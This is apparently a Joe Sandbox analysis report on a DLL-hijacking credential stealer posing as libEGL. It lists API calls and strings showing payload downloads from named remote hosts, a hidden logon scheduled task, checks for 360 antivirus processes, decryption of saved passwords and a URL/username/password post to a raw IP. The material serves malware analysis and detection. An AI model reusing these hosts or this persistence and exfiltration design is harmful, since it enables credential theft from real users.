Failed to query IExecAction: , xrefs: 1004CE6B
Failed to get root folder: , xrefs: 1004C81C
Task successfully created, xrefs: 1004D362
Failed to get trigger collection: , xrefs: 1004CA7F
Failed to initialize COM library: , xrefs: 1004C3AC
Failed to connect to TaskService: , xrefs: 1004C71B
Failed to create new task: , xrefs: 1004C953

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@_U?$char_traits@_W@std@@@std@@$?width@ios_base@std@@$V01@@$CreateInitializeInstanceUninitialize
String ID: Failed to connect to TaskService: $Failed to create TaskService instance: $Failed to create exec action: $Failed to create logon trigger: $Failed to create new task: $Failed to get action collection: $Failed to get registration info: $Failed to get root folder: $Failed to get task settings: $Failed to get trigger collection: $Failed to initialize COM library: $Failed to query IExecAction: $Failed to query ILogonTrigger: $Failed to register task: $PT10M$System$Task successfully created
API String ID: 874811561-1191914540
Opcode ID: e8e5983aad55864e7913d70eac0ed391bef061ec4c5b26d954b735ccef2ce441
Instruction ID: 6f086f1fc981fd54e0cad26051ffb0e5c31c8da7d84e9d9d6f6cd8cec83056ed
Opcode Fuzzy Hash: e8e5983aad55864e7913d70eac0ed391bef061ec4c5b26d954b735ccef2ce441
Instruction Fuzzy Hash: BBC2AC75900629DFCB21CF64C888BDEBBB2FF4A311F1040A5E909AB261DB716E85CF54

Function 1004BB4E Relevance: 79.2, APIs: 35, Strings: 10, Instructions: 446
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 1004BB90
GetLastError.KERNEL32 ref: 1004BBB2
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z.MSVCP140(?), ref: 1004BBCA
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004BBE1
InternetOpenW.WININET(Downloader,00000001,00000000,00000000,00000000), ref: 1004BCB3
GetLastError.KERNEL32 ref: 1004BCE0
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z.MSVCP140(?), ref: 1004BCF8
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004BD0F

Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140(DB3A51AF), ref: 1004EA30
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA61
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA96

Strings

Downloader, xrefs: 1004BCAE
MyHiddenAppDataDir, xrefs: 1004BFDB
Failed to get AppData path., xrefs: 1004BF7F
CreateDirectoryW failed: , xrefs: 1004C0DB
MoveFileExW failed: , xrefs: 1004C25B
InternetOpenW failed: , xrefs: 1004BCC8
InternetOpenUrlW failed: , xrefs: 1004BD72
CreateFileW failed: , xrefs: 1004BE30
temp_, xrefs: 1004BC16
GetTempPathW failed: , xrefs: 1004BB9A

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@_U?$char_traits@_W@std@@@std@@$?width@ios_base@std@@$ErrorLastV01@@$InternetOpenPathTemp
String ID: CreateDirectoryW failed: $CreateFileW failed: $Downloader$Failed to get AppData path.$GetTempPathW failed: $InternetOpenUrlW failed: $InternetOpenW failed: $MoveFileExW failed: $MyHiddenAppDataDir$temp_
API String ID: 1256306638-1085803746
Opcode ID: c76dc5dd0ce5ed5bc516b69e68bc5bb0ebb1a3597b5c59b3e0be9ed8f24b3a65
Instruction ID: 7a84f514547c5a00c8b2c5f5ca9e675d5d2a241ba0fbe5cebd32cd18f51b8018
Opcode Fuzzy Hash: c76dc5dd0ce5ed5bc516b69e68bc5bb0ebb1a3597b5c59b3e0be9ed8f24b3a65
Instruction Fuzzy Hash: 1522F274805269DFDB24DB24CC99AEDBBB1FB49300F1041E9F459A2AA1DB702F94CF18

Function 10262960 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 150
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32,?,?,secur32.dll,1029488D,secur32.dll,00000004,00000000,00000000,00000002,00000002,10262B96), ref: 1026296A
GetProcAddress.KERNEL32(00000000,LoadLibraryExW), ref: 10262982
wcspbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,103301A0,?,?,?,secur32.dll,1029488D,secur32.dll,00000004,00000000,00000000,00000002,00000002,10262B96), ref: 10262994

Strings

LoadLibraryExW, xrefs: 1026297C
AddDllDirectory, xrefs: 102629C6
secur32.dll, xrefs: 10262960
kernel32, xrefs: 10262963

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AddressHandleModuleProcwcspbrk
String ID: AddDllDirectory$LoadLibraryExW$kernel32$secur32.dll
API String ID: 3596313701-1372597434
Opcode ID: 564afda5429de1a1469f276b28749332a8861e4251405b0b88a4d1e9285bdae0
Instruction ID: 93a2128ad5ba2803cca6d1166f3a6495633bbc54d6656c51d021a962b2983ae7
Opcode Fuzzy Hash: 564afda5429de1a1469f276b28749332a8861e4251405b0b88a4d1e9285bdae0
Instruction Fuzzy Hash: 7F415B3A3007069BEB145FA89CC9BAA7758EFC5297F35043DFD03D6691EF619C198260

Function 1004D409 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 75
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1004D42A
GetLastError.KERNEL32(00000000), ref: 1004D456
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z.MSVCP140(?), ref: 1004D46E
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004D485
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 1004D49F
CloseHandle.KERNEL32(000000FF,00000018,?,00000002,00000000), ref: 1004D4DB

Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140(DB3A51AF), ref: 1004EA30
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA61
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA96

Strings

CreateToolhelp32Snapshot failed: , xrefs: 1004D43E

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ?width@ios_base@std@@V01@$??6?$basic_ostream@_U?$char_traits@_W@std@@@std@@$CloseCreateErrorFirstHandleLastProcess32SnapshotToolhelp32V01@@
String ID: CreateToolhelp32Snapshot failed:
API String ID: 2199910694-2028846298
Opcode ID: 3bcef1d3d8a1aed0a9c91f12a03fac8f3c7d4a5b9b08c3024820de6b95c895a2
Instruction ID: 412a9309b427837c9790b5eadfd232c0dfd48281d4292a25e598d3a5259a7234
Opcode Fuzzy Hash: 3bcef1d3d8a1aed0a9c91f12a03fac8f3c7d4a5b9b08c3024820de6b95c895a2
Instruction Fuzzy Hash: C831E830900669DEDB20EF60DC8DBADB7B5FB89305F2041E9A409A25A1DF346E95DF18

Function 10271870 Relevance: 12.3, APIs: 8, Instructions: 262
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00002726,00000000), ref: 102718DB
WSASetLastError.WS2_32(00002726,?,?,0000000A,00000000), ref: 10271A54
select.WS2_32(?,?,?,?,00000000), ref: 10271ACC
WSAGetLastError.WS2_32(0000000A,00000000), ref: 10271ADD
__WSAFDIsSet.WS2_32(?,?), ref: 10271B19
__WSAFDIsSet.WS2_32(?,?), ref: 10271B4F
__WSAFDIsSet.WS2_32(?,?), ref: 10271B6D
Sleep.KERNEL32(FFFFFFFE), ref: 10271BC6

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ErrorLast$Sleepselect
String ID:
API String ID: 2806104629-0
Opcode ID: ec3a4ecf8939e05953b8b7883169c6596250a78d39d237d9e762a9aa0ec9abdf
Instruction ID: 1523f08b6f36d0f3b47f68e06842053c42cc6f603845c6bfb75aff000dc65255
Opcode Fuzzy Hash: ec3a4ecf8939e05953b8b7883169c6596250a78d39d237d9e762a9aa0ec9abdf
Instruction Fuzzy Hash: 6391D531A05342CBD765CF2CC89535AB2EAEFA8354F318D2DE9D9C2190E734D961C742

Function 1022C220 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 318COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(10347840,00000000,0000005C,?,101D003F,00000006,00000000,1004B7F4,?,?), ref: 1022C3A3

Strings

gfff, xrefs: 1022C5FC

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memset
String ID: gfff
API String ID: 2221118986-1553575800
Opcode ID: 9aabc069a45f74c523189279f1dd250af6a6fdd9d500a8b09bfaeb780fdc2ea2
Instruction ID: 9a83e7e8ca65c5151096677f8631997189e94bbc1759758a1846f6ef50ba4185
Opcode Fuzzy Hash: 9aabc069a45f74c523189279f1dd250af6a6fdd9d500a8b09bfaeb780fdc2ea2
Instruction Fuzzy Hash: E3C10670D012269FE3119FE5AC8575A36B8FBC6345F708128E80DDF2A0EF74A868CB41

Function 1004B352 Relevance: 3.0, APIs: 2, Instructions: 41encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,1004B7A4), ref: 1004B388
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,102A66D8,1004B7A4,00000000,?,?), ref: 1004B3A7

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CryptDataUnprotect__acrt_iob_func
String ID:
API String ID: 3901092410-0
Opcode ID: 51fa472cac916c0854d37eb01052b9eba873afec71d624af1abfca3a3e7cca3c
Instruction ID: c4529914a81871afcadab5a0feb1e81e598f1230f6ca3d58a4fb717514ec3a0c
Opcode Fuzzy Hash: 51fa472cac916c0854d37eb01052b9eba873afec71d624af1abfca3a3e7cca3c
Instruction Fuzzy Hash: CAF0FF75904208EFDB04DFA8C889ADE7BF8EB08350F508459F815DB340DB30EA40CB54

Function 1004DADF Relevance: 88.3, APIs: 19, Strings: 31, Instructions: 817
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 1004BACD: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 1004BAF6

??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1,MobServe.exe,?,https://scrt1.nyazz.com/MobServe.exe,DB3A51AF), ref: 1004DBEF

Part of subcall function 1004BB4E: GetTempPathW.KERNEL32(00000104,?), ref: 1004BB90
Part of subcall function 1004BB4E: GetLastError.KERNEL32 ref: 1004BBB2
Part of subcall function 1004BB4E: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z.MSVCP140(?), ref: 1004BBCA
Part of subcall function 1004BB4E: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004BBE1

Part of subcall function 1004BB4E: InternetOpenW.WININET(Downloader,00000001,00000000,00000000,00000000), ref: 1004BCB3
Part of subcall function 1004BB4E: GetLastError.KERNEL32 ref: 1004BCE0
Part of subcall function 1004BB4E: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z.MSVCP140(?), ref: 1004BCF8
Part of subcall function 1004BB4E: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004BD0F

Part of subcall function 1004D533: CoInitializeEx.OLE32(00000000,00000000,DB3A51AF), ref: 1004D574
Part of subcall function 1004D533: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z.MSVCP140(00000000), ref: 1004D59E
Part of subcall function 1004D533: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004D5AF

??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1,?,?,?,?,https://scrt1.nyazz.com/MobServe.exe,DB3A51AF), ref: 1004DE09
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,https://scrt1.nyazz.com/MobServe.exe,DB3A51AF), ref: 1004DEA3
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1,?,?,?,?,?,?,?,?,?,https://scrt1.nyazz.com/MobServe.exe,DB3A51AF), ref: 1004DED4
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1,?,?,?,?,?,?,?,?,?,?,?,?,https://scrt1.nyazz.com/MobServe.exe,DB3A51AF), ref: 1004DF20
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1,MobServe.dll,https://ssh.0523qyfw.com/MobServe.dll,?,?,?,?,https://scrt1.nyazz.com/MobServe.exe,DB3A51AF), ref: 1004DD79

Part of subcall function 1004D409: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1004D42A
Part of subcall function 1004D409: GetLastError.KERNEL32(00000000), ref: 1004D456
Part of subcall function 1004D409: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@K@Z.MSVCP140(?), ref: 1004D46E
Part of subcall function 1004D409: ??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004D485

??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1,MobServe.dll,https://ssh.0523qyfw.com/MobServe.dll,?,?,?,?,https://scrt1.nyazz.com/MobServe.exe,DB3A51AF), ref: 1004E4A9

Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140(DB3A51AF), ref: 1004EA30
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA61
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA96

Strings

360sd.exe, xrefs: 1004E505
File already exists in the directory., xrefs: 1004E38C
Scheduled task already exists., xrefs: 1004E486
No specified processes are running., xrefs: 1004E6A6
MyHiddenAppDataDir, xrefs: 1004DC4F
MobServe.exe, xrefs: 1004DD80
Failed to get AppData path., xrefs: 1004DBCC
MyHiddenApptask, xrefs: 1004E28D
File already exists in the directory., xrefs: 1004E421
https://ssh.0523qyfw.com/MobServe.dll, xrefs: 1004DCFF
360tray.exe, xrefs: 1004E519
Task does not exist. Checking if the MobServe.exe process is running., xrefs: 1004DD56
MobServe.exe, xrefs: 1004DB62
360rp.exe, xrefs: 1004E09B
360sd.exe, xrefs: 1004E0C3
Failed to download and move file., xrefs: 1004DEFD
360rp.exe, xrefs: 1004E4DD
MobServe.dll, xrefs: 1004DD13
File does not exist. Downloading file., xrefs: 1004DEB1
https://scrt1.nyazz.com/MobServe.exe, xrefs: 1004DB24
360rps.exe, xrefs: 1004E4F1
is running., xrefs: 1004E226
No specified processes are running., xrefs: 1004E264
Process is not running. Checking if MobServe.exe file exists in the directory., xrefs: 1004DDE6
File successfully downloaded and moved to , xrefs: 1004DFD2
MyHiddenApptask, xrefs: 1004E6CF
360tray.exe, xrefs: 1004E0D7
Process is already running., xrefs: 1004E45A
MyHiddenApptask, xrefs: 1004DB73
is running., xrefs: 1004E668
360rps.exe, xrefs: 1004E0AF

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@_U?$char_traits@_W@std@@@std@@$V01@@$?width@ios_base@std@@ErrorLastPath$CreateExistsFileFolderInitializeInternetOpenSnapshotTempToolhelp32
String ID: is running.$ is running.$360rp.exe$360rp.exe$360rps.exe$360rps.exe$360sd.exe$360sd.exe$360tray.exe$360tray.exe$Failed to download and move file.$Failed to get AppData path.$File already exists in the directory.$File already exists in the directory.$File does not exist. Downloading file.$File successfully downloaded and moved to $MobServe.dll$MobServe.exe$MobServe.exe$MyHiddenAppDataDir$MyHiddenApptask$MyHiddenApptask$MyHiddenApptask$No specified processes are running.$No specified processes are running.$Process is already running.$Process is not running. Checking if MobServe.exe file exists in the directory.$Scheduled task already exists.$Task does not exist. Checking if the MobServe.exe process is running.$https://scrt1.nyazz.com/MobServe.exe$https://ssh.0523qyfw.com/MobServe.dll
API String ID: 2761338369-1567997658
Opcode ID: d6e1de1cca9fcc043e52856eb3222ade21cba623272a4f666a0c2ddeafaa9784
Instruction ID: 79c6af35a9a77cccb31559bbd4f40d029942bd5a7f024759d3405ed1e1d82e58
Opcode Fuzzy Hash: d6e1de1cca9fcc043e52856eb3222ade21cba623272a4f666a0c2ddeafaa9784
Instruction Fuzzy Hash: 37821874805269DFDB25CB64CD99BDDBBB8EB05300F2040EAE549A3291DB706F88CF59

Function 1004D533 Relevance: 45.9, APIs: 22, Strings: 4, Instructions: 448
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000000,DB3A51AF), ref: 1004D574
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z.MSVCP140(00000000), ref: 1004D59E
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004D5AF
CoCreateInstance.OLE32(1033A4C4,00000000,00000001,1033A4B4,00000000), ref: 1004D5D2
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@J@Z.MSVCP140(00000000), ref: 1004D5FC
??6?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(1004F9F1), ref: 1004D60D
CoUninitialize.OLE32 ref: 1004D613

Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140(DB3A51AF), ref: 1004EA30
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA61
Part of subcall function 1004E9B2: ?width@ios_base@std@@QBE_JXZ.MSVCP140 ref: 1004EA96

Strings

Failed to initialize COM library: , xrefs: 1004D583
Failed to get root folder: , xrefs: 1004D98A
Failed to connect to TaskService: , xrefs: 1004D88E
Failed to create TaskService instance: , xrefs: 1004D5E1

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@_U?$char_traits@_W@std@@@std@@$?width@ios_base@std@@$V01@@$CreateInitializeInstanceUninitialize
String ID: Failed to connect to TaskService: $Failed to create TaskService instance: $Failed to get root folder: $Failed to initialize COM library:
API String ID: 874811561-3579919321
Opcode ID: 87baa7df9f5e24144492b1ea55041f5c8483835711ad7e327bd49aa001cdc87f
Instruction ID: 648d30d16bf7adc504b8794660d21a64224a0fcd95d0481c71cc4e284f58e5b6
Opcode Fuzzy Hash: 87baa7df9f5e24144492b1ea55041f5c8483835711ad7e327bd49aa001cdc87f
Instruction Fuzzy Hash: DF129F75D04629DFCB21CFA4C848BDEBBB2FF4A311F1041A5E909BB261D7716A898F50

Function 10262B30 Relevance: 43.9, APIs: 16, Strings: 9, Instructions: 190
libraryloadernetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 10262B58
WSACleanup.WS2_32 ref: 10262B71
GetModuleHandleW.KERNEL32(kernel32,?,00000000), ref: 10262BA8
GetProcAddress.KERNEL32(00000000,LoadLibraryExW), ref: 10262BCC
wcspbrk.API-MS-WIN-CRT-STRING-L1-1-0(iphlpapi.dll,103301A0,?,?,00000000), ref: 10262BDA
LoadLibraryW.KERNEL32(iphlpapi.dll), ref: 10262C01
GetProcAddress.KERNEL32(00000000,AddDllDirectory), ref: 10262C18
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 10262C37
GetSystemDirectoryW.KERNEL32(00000000,?), ref: 10262C65
LoadLibraryW.KERNEL32(00000000), ref: 10262CCE
GetProcAddress.KERNEL32(00000000,if_nametoindex), ref: 10262CF1
GetModuleHandleA.KERNEL32(ws2_32), ref: 10262D01
GetProcAddress.KERNEL32(00000000,FreeAddrInfoExW), ref: 10262D13
GetProcAddress.KERNEL32(00000000,GetAddrInfoExCancel), ref: 10262D20
GetProcAddress.KERNEL32(00000000,GetAddrInfoExW), ref: 10262D2D
QueryPerformanceFrequency.KERNEL32(103484A8), ref: 10262D6C

Strings

iphlpapi.dll, xrefs: 10262BD3, 10262BEE, 10262BFC, 10262C25, 10262C9D
LoadLibraryExW, xrefs: 10262BC6
if_nametoindex, xrefs: 10262CEB
GetAddrInfoExW, xrefs: 10262D22
AddDllDirectory, xrefs: 10262C12
FreeAddrInfoExW, xrefs: 10262D0D
ws2_32, xrefs: 10262CFC
GetAddrInfoExCancel, xrefs: 10262D15
kernel32, xrefs: 10262BA1

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AddressProc$DirectoryHandleLibraryLoadModuleSystem$CleanupFrequencyPerformanceQueryStartupwcspbrk
String ID: AddDllDirectory$FreeAddrInfoExW$GetAddrInfoExCancel$GetAddrInfoExW$LoadLibraryExW$if_nametoindex$iphlpapi.dll$kernel32$ws2_32
API String ID: 606336418-1796637598
Opcode ID: 2a1aac616b99d68533fd5f9690e6d6bf65496c76ab17a9233ae3f779da9ddc7b
Instruction ID: 2a1a27b507fbfce357233dc44e461c1c26e7eae5abed242fab06a670fa7a3b2c
Opcode Fuzzy Hash: 2a1aac616b99d68533fd5f9690e6d6bf65496c76ab17a9233ae3f779da9ddc7b
Instruction Fuzzy Hash: D4514934A00717ABE7209F308CDAFAE76A4EF87785F120028FD45AE290EF349C55C695

Function 1004B735 Relevance: 24.2, APIs: 5, Strings: 11, Instructions: 241
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

http://154.19.200.133:8087, xrefs: 1004BA4C
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004BAAC
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004B822
url=%s&username=%s&password=%.*s, xrefs: 1004BA10
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004BA94
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004B886
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004B80A
v10, xrefs: 1004B945
D:\BaiduNetdiskDownload\Latest release\Baymax Patch Tools v3.3.1\HiJack\libEGL_vs2022_x86\libEGL.cpp, xrefs: 1004B89E
